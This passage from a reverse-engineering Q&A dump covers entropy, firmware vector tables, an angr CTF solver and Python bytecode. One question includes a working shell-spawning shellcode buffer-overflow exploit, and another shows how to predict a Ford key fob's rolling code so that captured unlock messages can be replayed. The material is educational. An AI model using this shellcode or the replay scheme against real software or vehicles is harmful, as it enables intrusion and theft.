        "Tags": "|entropy|",
        "Answer": "<blockquote>\n  <p>it has a feature called Entropy. I want to know what it is used for?</p>\n</blockquote>\n\n<p>For our purposes, entropy can be though of as information density or as a measure of randomness in information, which is what makes it useful in the context of reverse engineering and binary analysis.</p>\n\n<p>Compressed and encrypted data have higher entropy than e.g. code or text data. In fact, compressed and encrypted data have close to the maximum possible level of entropy, which can be used as a heuristic to identify it as such in order to differentiate it from non-compressed/non-encrypted data.</p>\n\n<p>Example use cases in reverse engineering:</p>\n\n<ul>\n<li><p><strong>Malware Analysis</strong> - If we have an executable which has a header that can be parsed successfully and the program loads and runs without error, but the overall entropy level of the file is very high and the code can't be analyzed statically because the data outside of the file header and program headers looks random (hence the high entropy), it probably means that the executable is in fact compressed on disk and is decompressed at runtime. Executable compression complicates analysis, so it is a relatively common feature of programs developed for criminal purposes. If we want to analyze the code, its decompressed form need to be recovered somehow.</p></li>\n<li><p><strong>Firmware Analysis</strong> - In systems with relatively severe hardware constraints, such as embedded systems, firmware updates are often delivered in compressed form in order to save space. In order to analyse the firmware, it first needs to be determined whether it is encrypted or compressed. One way to determine this is through performing an entropy analysis of the file. If the entropy is very high, it is a good sign that the file is indeed compressed or encrypted. To proceed with analysis of the actual firmware, it must first be decompressed/decrypted. If we have a block of data with very high entropy (i.e. close to random), it makes no sense to try to treat it as code and disassemble it, because the results will be meaningless nonsense. </p></li>\n<li><p><strong>File Type Identification</strong> - Some file types can be identified on the basis of their overall entropy. For example, we can usually differentiate between image files (png, jpeg, etc) and compiled binaries (ELF, PE) because image files consist of compressed data and therefore (generally) have much higher entropy than compiled binaries.</p></li>\n</ul>\n\n<p>Besides \"Detect It Easy\", tools such as <code>binwalk</code>, <code>ent</code> and binvis.io can assist with calculating file entropy. You can also build your own tools that do this. </p>\n"
    },
    {
        "Id": "21560",
        "CreationDate": "2019-06-27T08:30:48.087",
        "Body": "<p>I'm disassembling some mpcXXXX microcontroller firmware, and I'm trying to find the vector table and the reset interrupt. </p>\n\n<p>For example, I know that in ARM, in some of the microcontrollers, the vector table is stored in 0x0 address, and the reset ISR is pointed as the first entry of the vector table, as shown in the picture below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/8JTtt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8JTtt.png\" alt=\"enter image description here\"></a></p>\n\n<p>Does anyone know how to find the similar in PPC microcontrollers? I went through the documentation and references, but couldn't find the answer. I suspect it could also be at 0x0 offset, however, the first memory segment in IDA starts at 0x20000 in my case.</p>\n",
        "Title": "vector table address in mpcXXXX microcontrollers",
        "Tags": "|firmware|embedded|powerpc|",
        "Answer": "<p>You should check the e200z650 core reference manual. The location of vector table can be configured from software in PPC architecture in the Interrupt Vector Prefix Register (IVPR).</p>\n"
    },
    {
        "Id": "21565",
        "CreationDate": "2019-06-27T16:04:02.707",
        "Body": "<p>How do I populate memory address using <code>angr</code> with array of integers (?) and add a constraint so each int will be positive &amp; less than 17 ?</p>\n\n<p>I hope it's clear I need to find out the <code>in_array</code> combination</p>\n\n<p>chall.c</p>\n\n\n\n<pre><code>// gcc -m32 chall.c -o chall \n#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nint p = 0;\nint c = 1;\nchar d[45] = {0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0};\nchar in_array[16] = {0};\n\nint M(char *a1, int a2);\nvoid BAD();\nvoid GOOD();\n\nint main(int argc, char *argv[])\n{\n  if (M(in_array, 16))\n    GOOD();\n}\n\n\nint M(char *a1, int a2)\n{\n  char *v2; // r11\n  unsigned int v3; // r10\n  signed int v4; // r9\n  int v5; // r6\n  int v6; // r3\n  int v7; // r4\n  int v8; // r5\n  signed int v9; // r8\n  unsigned int v10; // r2\n  unsigned int v11; // r1\n  char v12; // r1\n  int v14; // [sp+14h] [bp-34h]\n  char v15[16]; // [sp+18h] [bp-30h]\n  int v16; // [sp+28h] [bp-20h]\n\n  v2 = a1;\n  v3 = a2;\n  if ( a2 &gt;= 2 )\n  {\n    v4 = (unsigned int)a2 &gt;&gt; 1;\n    M(a1, (unsigned int)a2 &gt;&gt; 1);\n    if ( c )\n    {\n      v5 = (int) &amp;v2[v3 &gt;&gt; 1];\n      M(&amp;v2[v3 &gt;&gt; 1], v3 - (v3 &gt;&gt; 1));\n      if ( c )\n      {\n        v6 = v3 - (v3 &gt;&gt; 1);\n        v14 = v3 - (v3 &gt;&gt; 1);\n        if ( (signed int)(v3 - (v3 &gt;&gt; 1)) &gt;= 1 )\n        {\n          v7 = 0;\n          v8 = 0;\n          v9 = 0;\n          while ( 1 )\n          {\n            v10 = *(char *)(v5 + v8);\n            v11 = v2[v9];\n            if ( v11 &gt;= v10 )\n            {\n              if ( v11 &lt;= v10 || d[p] )\n              {\nLABEL_21:\n                c = 0;\n                BAD();\n                // return 0;\n              }\n              ++p;\n              v12 = *(char *)(v5 + v8++);\n            }\n            else\n            {\n              if ( d[p] != 1 )\n                goto LABEL_21;\n              v6 = v14;\n              ++p;\n              v12 = v2[v9++];\n            }\n            v15[v7++] = v12;\n            if ( v9 &gt;= v4 || v8 &gt;= v6 )\n              goto LABEL_16;\n          }\n        }\n        v9 = 0;\n        v8 = 0;\n        v7 = 0;\nLABEL_16:\n        if ( v4 &gt; v9 )\n        {\n          memcpy(&amp;v15[v7], &amp;v2[v9], v4 - v9);\n          v6 = v14;\n          v7 = v7 + v4 - v9;\n        }\n        if ( v8 &lt; v6 )\n          memcpy(&amp;v15[v7], &amp;v2[v8 + v4], v3 - v8 - v4);\n        memcpy(v2, v15, v3);\n      }\n    }\n  }\n  return 1;\n}\n\nvoid BAD() \n{\n  printf(\"BAD\\n\");\n  exit(2);\n}\n\nvoid GOOD() \n{\n  printf(\"GOOD\\n\");\n\n  for (int j = 0; j &lt; 16; j++)\n    printf(\"%d \", in_array[j]);\n\n  printf(\"\\n\");\n}\n\n</code></pre>\n\n\n\n<pre><code>\n$ readelf -s chall | grep -E \"in_array|GOOD|BAD|main\" | grep -v libc\n    44: 0000063d    46 FUNC    GLOBAL DEFAULT   14 BAD\n    72: 000006d9    69 FUNC    GLOBAL DEFAULT   14 main\n    78: 00002078    16 OBJECT  GLOBAL DEFAULT   24 in_array\n    79: 0000066b   110 FUNC    GLOBAL DEFAULT   14 GOOD\n\n</code></pre>\n\n<p>solve.py</p>\n\n\n\n<pre><code>import angr\nimport claripy\n\nbase = 0x400000\nmain, good, bad = base + 0x6d9, base + 0x66b, base + 0x63d\npointer_size = 4\nin_array_addr, in_array_size = base + 0x2078, 16 * pointer_size\n\np = angr.Project('./chall')\nstate = p.factory.blank_state(addr=main)\n\narr = claripy.BVS('in_array', in_array_size)\nfor i in arr.chop(pointer_size):\n  state.add_constraints(i &gt;= 0)\n  state.add_constraints(i &lt; 17)\nstate.memory.store(in_array_addr, arr)\n\nsm = p.factory.simulation_manager(state)\n\nsm.explore(find=good, avoid=bad)\nprint('found ?', len(sm.found))\n\nflag_state = sm.found[0]\nflag_data = flag_state.memory.load(in_array, in_array_size)\nprint(flag_state.solver.eval(flag_data, cast_to=bytes).strip(b'\\0\\n'))\n\n</code></pre>\n\n<p>angr log</p>\n\n<pre><code>WARNING | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.\nWARNING | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.\nWARNING | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:\nWARNING | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state\nWARNING | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null\nWARNING | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.\nWARNING | angr.state_plugins.symbolic_memory | Filling memory at 0x7fff0000 with 4 unconstrained bytes referenced from 0x4006e0 (main+0x7 in chall (0x6e0))\nWARNING | angr.state_plugins.symbolic_memory | Filling register ebp with 4 unconstrained bytes referenced from 0x4006e3 (main+0xa in chall (0x6e3))\nWARNING | angr.state_plugins.symbolic_memory | Filling register esi with 4 unconstrained bytes referenced from 0x400721 (M+0x3 in chall (0x721))\nWARNING | angr.state_plugins.symbolic_memory | Filling register ebx with 4 unconstrained bytes referenced from 0x400722 (M+0x4 in chall (0x722))\nfound ? 0\n</code></pre>\n",
        "Title": "angr | populate int array with constraints",
        "Tags": "|angr|",
        "Answer": "<p>Making a few changes to the code you've posted, angr is able to find a solution.</p>\n\n<p>The addresses of the symbol are resolved dynamically using <code>proj.loader.find_symbol</code>. This avoids hard coding the address which may each change each-time the source is recompiled.</p>\n\n<p>Instead of declaring a big BitVector covering the entire array, I've declared 16 8-bit BitVectors, one each for every element of the array. This way it's easier to apply the constraints.</p>\n\n<pre><code>import angr\n\nproj = angr.Project('./chall')\n\n# Addresses of symbols\nmain = proj.loader.find_symbol('main').rebased_addr\ngood = proj.loader.find_symbol('GOOD').rebased_addr \nbad = proj.loader.find_symbol('BAD').rebased_addr \n\nin_array_addr = proj.loader.find_symbol('in_array').rebased_addr  \n\n# in_array is a char array with 16 elements and sizeof(char)=1\nin_array_size = 16 * 1\n\ninitial_state = proj.factory.entry_state(addr=main)\n\nfor i in range(in_array_size):\n    # Each char of the array is a 8 bit BitVector\n    ch = initial_state.solver.BVS('ch{}'.format(i), 8)\n\n    # Add constraints\n    initial_state.solver.add(ch &gt;= 0)    \n    initial_state.solver.add(ch &lt; 17)\n\n    # Store BV to memory\n    initial_state.memory.store(in_array_addr+i, ch)\n\n\n# Create a Simulation manager from the current state\nsm = proj.factory.simulation_manager(initial_state)\n\n# Find a path to good while avoiding bad\nsm.explore(find=good, avoid=bad)\n\nprint(\"No. of solutions found:\", len(sm.found))\n\nif len(sm.found) &gt; 0:        \n    # Considering the first goal state\n    goal_state = sm.found[0]\n\n    # Load contents of memory at the said address\n    flag_data = goal_state.memory.load(in_array_addr, in_array_size)\n\n    # Convert flag_data from BitVector to bytes\n    answer = goal_state.solver.eval(flag_data, cast_to=bytes)\n    print (list(answer))\n</code></pre>\n\n<h3>Output</h3>\n\n<pre><code>user@70a6c29adea0 $ python solve.py\nWARNING | 2019-07-04 21:09:04,764 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwa\nnted behavior.\nWARNING | 2019-07-04 21:09:04,764 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You ca\nn resolve this by:\nWARNING | 2019-07-04 21:09:04,764 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state\nWARNING | 2019-07-04 21:09:04,764 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions h\nold null\nWARNING | 2019-07-04 21:09:04,764 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messa\nges.\nWARNING | 2019-07-04 21:09:04,765 | angr.state_plugins.symbolic_memory | Filling register edi with 4 unconstrained bytes referenced from 0x8048861 (__libc_csu_init+0x1 i\nn chall (0x8048861))\nWARNING | 2019-07-04 21:09:04,770 | angr.state_plugins.symbolic_memory | Filling register ebx with 4 unconstrained bytes referenced from 0x8048863 (__libc_csu_init+0x3 i\nn chall (0x8048863))\nNo. of solutions found: 1\n[0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 11, 12, 13, 14, 15, 16]\n</code></pre>\n\n<h1>UPDATE</h1>\n\n<p>After OP mentioned that its a challenge from Google CTF Quals 2019, I decided to look at the original binary instead.</p>\n\n<p>Apparently the previous answer from angr doesn't satisfy the C code OP posted. There were a couple of reasons for this.</p>\n\n<p>The first and glaring mistake was using the <code>goal_state</code> to load <code>flag_data</code>. This is wrong as in <code>goal_state</code> the <code>flag_data</code> will get changed.</p>\n\n<p>The second mistake was the bytes of <code>in_array</code> should be in between 0 and 16 (not 0 and 17).</p>\n\n<p>This can be inferred from the Ghidra decompiler screenshot.</p>\n\n<p><a href=\"https://i.stack.imgur.com/UUXSd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UUXSd.png\" alt=\"enter image description here\"></a></p>\n\n<p>The last line </p>\n\n<pre><code>return uVar2 &amp; (uint)((byte)local_24[15] &lt; 16);\n</code></pre>\n\n<p>checks whether the final element of the array is <code>&lt; 16</code>.</p>\n\n<p>The following updated script prints out the the contents of <code>in_array</code> which satisfies the constraints.</p>\n\n<pre><code>import angr\n\nproj = angr.Project('./chall')\n\n# Addresses of symbols\nmain = proj.loader.find_symbol('main').rebased_addr\ngood = proj.loader.find_symbol('GOOD').rebased_addr \nbad = proj.loader.find_symbol('BAD').rebased_addr \n\nin_array_addr = proj.loader.find_symbol('in_array').rebased_addr  \nin_array_size = 16\n\ninitial_state = proj.factory.blank_state(addr=main)\nflag = [None] * in_array_size\n\nfor i in range(in_array_size):\n    # Each char of the array is a 8 bit BitVector\n    ch = initial_state.solver.BVS('ch{}'.format(i), 8)\n    flag[i] = ch\n\n    # Add constraints\n    initial_state.solver.add(ch &gt;= 0)    \n    initial_state.solver.add(ch &lt; 16)\n\n    # Store BV to memory\n    initial_state.memory.store(in_array_addr+i, ch)\n\n\n# Create a Simulation manager from the current state\nsm = proj.factory.simulation_manager(initial_state)\n\n# Find a path to good while avoiding bad\nsm.explore(find=good, avoid=bad)\n\nprint(\"No. of solutions found:\", len(sm.found))\n\nif len(sm.found) &gt; 0:        \n    # Considering the first goal state\n    goal_state = sm.found[0]       \n\n    print([goal_state.solver.eval(d) for d in flag])\n</code></pre>\n\n<h3>Output</h3>\n\n<pre><code>user@ec03a79cf15f$ python solver.py\nWARNING | 2019-07-06 10:29:07,128 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.\nWARNING | 2019-07-06 10:29:07,128 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:\nWARNING | 2019-07-06 10:29:07,129 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state\nWARNING | 2019-07-06 10:29:07,129 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null\nWARNING | 2019-07-06 10:29:07,129 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.\nWARNING | 2019-07-06 10:29:07,129 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fff0000 with 4 unconstrained bytes referenced from 0x8048532 (main+0x7 in chall (0x8048532))\nWARNING | 2019-07-06 10:29:07,131 | angr.state_plugins.symbolic_memory | Filling register ebp with 4 unconstrained bytes referenced from 0x8048535 (main+0xa in chall (0x8048535))\nWARNING | 2019-07-06 10:29:07,380 | angr.state_plugins.symbolic_memory | Filling register ebx with 4 unconstrained bytes referenced from 0x8048567 (M+0x3 in chall (0x8048567))\nNo. of solutions found: 1\n[9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1]\n</code></pre>\n\n<p>Using the following as the contents of <code>in_array</code> solves the challenge.</p>\n\n<pre><code>[9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1]\n</code></pre>\n"
    },
    {
        "Id": "21571",
        "CreationDate": "2019-06-28T05:45:24.947",
        "Body": "<p>I using following C code for testing stack based simple buffer overflow</p>\n\n<pre><code>#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\nvoid copier(char *arg){\n    char buffer[100];\n    strcpy(buffer,arg);\n}\nint main(int argc, char *argv[]){\n    copier(argv[1]);\n    printf(\"Done!\");\n    return 0;\n}\n</code></pre>\n\n<p>Compiled the code with </p>\n\n<pre><code>gcc -fno-stack-protector -z execstack -no-pie -fno-pic -m32 -o testcode testcode.c\n</code></pre>\n\n<p>ASLR is turned off</p>\n\n<p>In order to get the offset from buffer which <code>eip</code> is overridden with I have used <code>ragg2</code> to generate pattern and <code>r2</code> to find offset</p>\n\n<pre><code>ragg2 -P 200 -r &gt; input.txt\nr2 -d testcode $(cat input.txt)\n-&gt;dc\nchild stopped with signal 11\n[+] SIGNAL 11 errno=0 addr=0x416d4141 code=1 ret=0\n\n-&gt;wopO 0x416d4141\n112\n</code></pre>\n\n<p>Now a simple string of length 116 can be sent as input to the program while debugging, so for this I have done the following</p>\n\n<pre><code>r2 -A -d testcode $(python -c \"print('A'*116)\")\n&gt; dcu sym.copier\n</code></pre>\n\n<p>Here is disassembled view of <code>copier</code> function</p>\n\n<pre><code>0x08048456      55             push ebp                                                                                             \n0x08048457      89e5           mov ebp, esp                                                                                         \n0x08048459      83ec78         sub esp, 0x78               ; 'x'                                                                    \n0x0804845c      83ec08         sub esp, 8                                                                                           \n0x0804845f      ff7508         push dword [ebp + 8]                                                                                 \n0x08048462      8d4594         lea eax, [ebp - 0x6c]                                                                                \n0x08048465      50             push eax                                                                                             \n0x08048466      e8a5feffff     call sym.imp.strcpy         ;[1]                                                                     \n0x0804846b      83c410         add esp, 0x10                                                                                        \n0x0804846e      90             nop                                                                                                  \n0x0804846f      c9             leave                                                                                                \n0x08048470      c3             ret\n</code></pre>\n\n<p>After continuing execution upto <code>sym.imp.strcpy</code>, the buffer is </p>\n\n<pre><code>px @esp\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0xffffd060  7cd0 ffff 6bd3 ffff f8da fff7 dcd0 ffff  |...k...........\n0xffffd070  0000 0000 9bff fdf7 0c82 0408 4141 4141  ............AAAA\n0xffffd080  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA\n0xffffd090  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA\n0xffffd0a0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA\n0xffffd0b0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA\n0xffffd0c0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA\n0xffffd0d0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA\n0xffffd0e0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA\n0xffffd0f0  00d3 ffff b4d1 ffff c0d1 ff              ...........\n</code></pre>\n\n<p>Now, from above I can generate a payload as -\n<strong>64</strong> byte nops + <strong>32</strong> byte shellcode + <strong>16</strong> Byte padding + address to override <code>eip</code></p>\n\n<p>Now the according to the memory dump found, I have chosen <strong>address</strong> <code>0xffffd0b0</code> to override <code>eip</code>(real shellcode starts at <code>0xffffd0bc</code>, addresses before that filled with nops)</p>\n\n<pre><code>nop = '\\x90'*64\npayload = '\\x31\\xc0\\x89\\xc3\\xb0\\x17\\xcd\\x80\\x31\\xd2\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\\x8d\\x42\\x0b\\xcd\\x80'\npadding = 'A'*(112-64-32)\naddr = '\\xb0\\xd0\\xff\\xff'\n\nprint(nop+payload+padding+addr)\n</code></pre>\n\n<p>While debugging within radare2, after executing the return instruction in <code>sym.copier</code> <code>eip</code> gets overridden by the adress I provided. But When I run the program from a shell I am getting <code>Illegal instruction(Core dumped)</code></p>\n\n<p>What I found from Google and other stackexchange posts is that incorrect environment variable settings may cause this problem. So within radare2 I have checked the loaded environment variables by </p>\n\n<pre><code>dcu entry0\npxr @esp\n</code></pre>\n\n<p>I found that there is one environment variable <code>OLDPWD</code> is present in stack which is not present in the output of <code>env</code> command. Another variable <code>TMPDIR</code> is also present sometimes. Another thing is (pardon me if this is not related at all) after executing <code>!env</code> within radare2 I found some of the actual environment variables were missing which are present in <code>env</code> output and some other debugging related variables were also present (<code>GJS_DEBUG_TOPICS</code>, <code>RABIN2_LANG</code> etc.)</p>\n\n<p>radare2 version</p>\n\n<pre><code>radare2 3.7.0-git 22245 @ linux-x86-64 git.3.6.0-14-g4a1392932\ncommit: 4a1392932e08296283bbd8edb09cc35998a66d29 build: 2019-06-27__22:50:24\n</code></pre>\n\n<p>I just don't know how to proceed to find an address that I can hardcode into exploit.</p>\n",
        "Title": "Illegal instruction error in simple buffer overflow",
        "Tags": "|radare2|buffer-overflow|",
        "Answer": "<p>So, first, getting an <strong>illegal instruction</strong> while exploiting a buffer-overflow is quite common. It just means that you jumped in the middle of the memory where the bytes do not correspond to any meaningful assembly instruction. Basically, you can interpret this as: You jumped to the wrong address and try to change the landing address of your exploit.</p>\n\n<p>Second, you have to understand that the memory context of the stack is quite '<em>fragile</em>' because it is the consequence of memory layout of everything that came prior to the vulnerable function.</p>\n\n<p>For example, the environment (the memory area where you store all the environment variables, the infamous <code>envp</code>, such as <code>PATH</code>, <code>HOME</code>, ...) is set up just before the <code>main()</code> function is started. Adding a new variable, or changing the size of a variable inside this environment can impact the start position of your buffer (and therefore the place where you land while exploiting your buffer).</p>\n\n<p><a href=\"https://i.stack.imgur.com/skPle.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/skPle.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Now, putting all together, when you are exploiting your buffer-overflow under the radare2 debugger, you have to know that radare2 is very likely setting a few extra variables in the environment. Which means that the address of the buffer you use in the radare2 context cannot be used when you are in the shell context.</p>\n\n<p>The best way to workaround is to run an <code>ltrace</code> in the shell context, get the address of the buffer (you should see it appear when it calls <code>strcpy()</code> in the libc). And, use this address in place of the one you used previously.</p>\n"
    },
    {
        "Id": "21577",
        "CreationDate": "2019-06-28T21:20:35.367",
        "Body": "<p>Using an SDR I read out the transmitted message of a key fob for my old car. The car is a 98 Mercury Grand Marquis. It's quite old so I dought it's very sophisticated. </p>\n\n<pre><code>55549d1748c2aa11d2044f\n55549d1748c2aa12b70132\n55549d1748c2aa139c081f\n55549d1748c2aa148102ff\n55549d1748c2aa156604e7\n55549d1748c2aa164b01ca\n55549d1748c2aa173008b7\n55549d1748c2aa18150297\n55549d1748c2aa19fa047f\n55549d1748c2aa1adf0162\n55549d1748c2aa1bc4084f\n55549d1748c2aa1ca9022f\n55549d1748c2aa1d8e0417\n55549d1748c2aa1e7301fa\n55549d1748c2aa1f5808e7\n55549d1748c2aa203d02c7\n55549d1748c2aa212204af\n55549d1748c2aa22070192\n55549d1748c2aa23ec087f\n55549d1748c2aa24d1025f\n55549d1748c2aa25b60447\n55549d1748c2aa269b012a\n55549d1748c2aa27800817\n55549d1748c2aa286502f7\n55549d1748c2aa294a04df\n</code></pre>\n\n<p>Here is some of the data I've captured. What I have so far is as follows. </p>\n\n<p>Bytes 1-6 never change. I assume they are like a signature or serial number or ID of some sorts. </p>\n\n<p>Bytes 7 and 8 count up. I'm guessing this is the number only used once. When byte 8 rolls over, byte 7 increments. </p>\n\n<p>Byte 9 seems random. It might be the rolling code. </p>\n\n<p>Byte 10 is the button being pressed. The fob has 4 buttons and there are four numbers that show up here: 0x04, 0x08, 0x01, and 0x02. </p>\n\n<p>Byte 11 also seems random. I assume this is the CRC just because it shows up at the end of the message. </p>\n\n<p>I've tried using reveng with no success. I fed it all of the listed data and more and it always comes back with \"no model found\". I'm not at all familiar with using reveng so just in case I'm an idiot here are the commands I've tried. each command was followed by the data through a batch file.  </p>\n\n<pre><code>reveng -w 8 -s\nreveng -w 8 -l -s\nreveng -w 8 -F -s\nreveng -w 8 -l -F -s\n</code></pre>\n\n<p>Any thoughts or ideas would be appreciated. </p>\n\n<p><strong>Edit 1</strong></p>\n\n<p>It seems that I may have cracked the checksum. It is a simple sum of the message. The catch is that the first 2 bytes are not included. Also, the sum is truncated to just the least significant byte. I have not exhaustively checked the whole data set but spot checking seems to work 100% of the time. </p>\n\n<pre><code>9d1748c2aa11d2044f  34f\n9d1748c2aa12b70132  332\n9d1748c2aa139c081f  31f\n9d1748c2aa164b01ca  2ca\n9d1748c2aa173008b7  2b7\n9d1748c2aa19fa047f  37f\n9d1748c2aa1adf0162  362\n9d1748c2aa1d8e0417  317\n9d1748c2aa1e7301fa  2fa\n</code></pre>\n",
        "Title": "Reverse engineering CRC and rolling code",
        "Tags": "|crc|",
        "Answer": "<p>Figured it out. It was not as complicated as I thought. Here is how it goes.</p>\n\n<pre><code>9d1748c2aa11d2044f\n9d1748c2aa12b70132\n9d1748c2aa139c081f\n9d1748c2aa164b01ca\n9d1748c2aa173008b7\n9d1748c2aa19fa047f\n9d1748c2aa1adf0162\n9d1748c2aa1d8e0417\n9d1748c2aa1e7301fa\n</code></pre>\n\n<p>The 0x55 and 0x54 at the beginning of the message are the preamble and are not important. </p>\n\n<p>Bytes 1-4 never change. I assume they are like a signature or serial number or ID of some sorts.</p>\n\n<p>Bytes 5 and 6 count up. I'm guessing this is the number only used once. When byte 8 rolls over, byte 5 increments.</p>\n\n<p>Byte 8 is the button being pressed. The fob has 4 buttons and there are four numbers that show up here: 0x04, 0x08, 0x01, and 0x02.</p>\n\n<p>Byte 9 is the CRC. It is simply the sum of all the bytes and then gets truncated to the least significant byte. </p>\n\n<p>Byte 7 might be the rolling code. If this is the rolling code then it's not super secure. Byte 7 is always 0x1b less than the last one. For instance, in the data set the first two entries are consecutive. 0xd2 - 0x1b = 0xb7 which is byte 7 of the following message. As long as you capture at least one message then any message can be reproduced using the counting number to see how many 0x1b to subtract. </p>\n\n<p><strong>Edit</strong></p>\n\n<p>Just came across someone with a 2004 Mercury Grand Marquis. The ID for their remote was different but the rolling code and CRC schemes were exactly the same. </p>\n\n<p>I reckon that every Ford remote that looks like this uses this same scheme. </p>\n\n<p><a href=\"https://i.stack.imgur.com/6kkh3.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6kkh3.jpg\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "21584",
        "CreationDate": "2019-06-30T12:08:10.860",
        "Body": "<p>I try reverse python bytecode (Content in a .pyc file). I do not want to decompile the code, just understand the Python bytecode :)</p>\n\n<p>The LOAD_NAME statement, pushes the value associated with co_names (tuple of names of local variables...) [namei] onto the stack. (How can I check these values contained in co_names?)</p>\n\n<p><a href=\"https://i.stack.imgur.com/WKyox.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WKyox.png\" alt=\"n \"></a></p>\n",
        "Title": "Reverse Python Bytecode",
        "Tags": "|python|",
        "Answer": "<p>You can use the <a href=\"https://docs.python.org/2/library/marshal.html\" rel=\"nofollow noreferrer\"><code>marshal</code></a> module to load the code object.</p>\n\n<p>Now, suppose you want to find out what does <code>LOAD_NAME 1</code> loads on the evaluation stack.</p>\n\n\n\n<pre><code>import marshal\n\nco = marshal.load(...)\nprint co.co_names[1]\n\n# Or if you want to print the entire co_names\nprint co.co_names\n</code></pre>\n\n<p>Refer to the <a href=\"https://docs.python.org/2/library/dis.html?highlight=co_names\" rel=\"nofollow noreferrer\"><code>dis</code></a> module for further reference.</p>\n"
    },
    {
        "Id": "21586",
        "CreationDate": "2019-06-30T17:01:37.047",
        "Body": "<p>I'm recently start in reverse engineering filed. While working with the disassembler I asked myself:what the \"address\" label meant. For example here we have hopper image:<a href=\"https://www.hopperapp.com/tutorial_files/overview@2x.jpg\" rel=\"nofollow noreferrer\">https://www.hopperapp.com/tutorial_files/overview@2x.jpg</a></p>\n\n<p>As you can see atbbottom of hopper we have 0x100001dc0 and offset:0x1dc0, I know that offset is the way inside hex editor to jump directly in the function highlighted in blue by hopper,but don't know what's address.\nSomeone told me that \"address\" indicate the virtual address of instruction, but I know that virtual address is calculate/managed at runtime by the OS and this confuse me a bit. Someone can explain me what I did misunderstand? Thanks</p>\n",
        "Title": "what's meaning address inside disassembler",
        "Tags": "|disassemblers|",
        "Answer": "<p>The <code>0x1dc0</code> is an instruction offset in the file, while <code>0x100001dc0</code> is address in a program virtual memory when this particular instruction should reside. </p>\n\n<p>For more information, see <a href=\"https://stackoverflow.com/questions/53655287/what-is-the-image-base-in-windows-pe-files\">link</a>. In your case, base address for a file is <code>0x100000000</code>, so it means it should be loaded at this address and every instruction in it will have its address incremented accordingly.</p>\n"
    },
    {
        "Id": "21597",
        "CreationDate": "2019-07-01T17:13:58.987",
        "Body": "<p>I'm writing some crackmes.one challenge and I want to write a challenge where the solution appears on a segmentation fault. (And you have to disassemble the code to find a way to segfault. It should be fun, right?)</p>\n<p>I found some hard-to-understand theoretical answer here and there but I can't find a practical solution. Because most of the question are &quot;how to recover from a sigsegv&quot; and most of the answer are &quot;you can't, make your code right so it doesn't segfault&quot;.</p>\n<p>What would be the most &quot;trap-able&quot; segfault? a call to a null function pointer? a double-free? ...?</p>\n<p>What can I do in my signal handler? It seems there are some harsh condition (reentrancy, async-signal-safe function, etc...).</p>\n<p>If someone can give me some safe pointer (pun intended) to some kind of documentation, blog, ... or an explanation a bit more useful than &quot;just read the POSIX bible&quot;. It would be greatly appreciated.</p>\n<p>My code doesn't need to be portable. If it works on a moderately standard Linux (Debian, Redhat, Ubuntu, CentOS) it will be fine.</p>\n",
        "Title": "Can I trap SIGSEGV (on a Linux) and what are are the conditions to make it works? (for a crackme)",
        "Tags": "|linux|crackme|",
